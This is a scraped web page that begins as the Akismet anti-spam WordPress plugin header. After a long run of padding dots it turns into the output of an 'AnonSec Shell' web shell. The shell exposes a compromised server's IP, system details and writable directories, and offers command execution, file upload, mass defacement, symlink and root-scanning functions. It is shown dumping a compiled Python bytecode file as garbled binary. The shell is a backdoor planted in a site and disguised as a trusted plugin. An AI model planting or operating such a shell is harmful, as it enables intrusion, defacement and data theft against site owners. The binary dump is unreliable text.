#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyc
�
L��ec@`sFddlmZmZmZddlmZdefd��YZdS(i(tprint_functiontdivisiontabsolute_import(tugettexttReasonscB`s_eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�ZRS(
s;
    Holds reasons and parses them for
    the client.
    cC`s||_||_dS(N(treasonstsorter(tselfRR((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyt__init__s	cC`s|j�j|g�S(sV
        returns reasons for sub_id, or empty list
        if there are none.
        (tget_subscription_reasons_maptget(Rtsub_id((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pytget_subscription_reasonsscC`s	i}x%|jjD]}g||jd<qWx�|jD]�}d|dkr�|dd}||kr|d||kr�q8n||j|d�qq8d|dkr8xQ|j|dd�D]5}|d||kr�q�n||j|d�q�Wq8q8W|S(s`
        returns a dictionary that maps
        valid entitlements to lists of reasons.
        tCNtentitlement_idt
attributestmessagetstack_id(Rtvalid_entitlement_certstsubjectRtappendtget_stack_subscriptions(Rtresulttstreasontent_idts_id((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyR	%s  cC`sti}xg|jD]\}|dd}||kr=g||<n|d||krWqn||j|d�qW|S(NRtnameR(RR(RRRtreason_name((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pytget_name_message_map@s
cC`s�i}x�|jD]�}d|krd|dkr|dd}||krYg||<n|dg||D]}|d^qkkr�qn||ji|dd6|ddd6�qqW|S(NRt
product_idtkeyRtproduct_name(RR(RRRt	reason_idtres((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pytget_reason_ids_mapKs
+
cC`sbtg�}xI|jjD];}|jjr|jj|kr|j|jd�qqWt|�S(NR
(tsetRRtordertstacking_idtaddRtlist(RRRR((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyRZs
cC`s�d|dkr&td�|ddSd|dkrLtd�|ddSd|dkrrtd�|ddStd�SdS(	NRRsProduct Rs
Subscription RsStack tUnknown(t_(RR((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyt
get_reason_idascC`sk|j|jjkrgStg�}|j|�}g}g}xV|D]N}d|jkrs|j|jd�n|jjrG|j|jj�qGqGWx�|j	D]�}d|dkr�|dd|jkr]|j
|d�q]q�d|dkr"|dd|kr]|j
|d�q]q�d|dkr�|dd|kr]|j
|d�q]q�q�Wt|�S(s_
        Returns a list of reason messages that
        apply to the installed product
        R
RRRRR(tidRtvalid_productsR$tget_product_subscriptionsRRR%R&RR'R((RtprodRt
subscriptionstsub_idst	stack_idsRR((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pytget_product_reasonsos,
cC`s2g|jjD]}||jkr
|^q
}|S(sS
        Returns a list of subscriptions that provide
        the product.
        (RRtproducts(RR/t	valid_enttresults((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyR.�s(t__name__t
__module__t__doc__RRR	RR#RR+R3R.(((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyRs								"N(	t
__future__RRRtsubscription_manager.i18nRR*tobjectR(((sB/usr/lib64/python2.7/site-packages/subscription_manager/reasons.pyt<module>s

Anon7 - 2022
AnonSec Team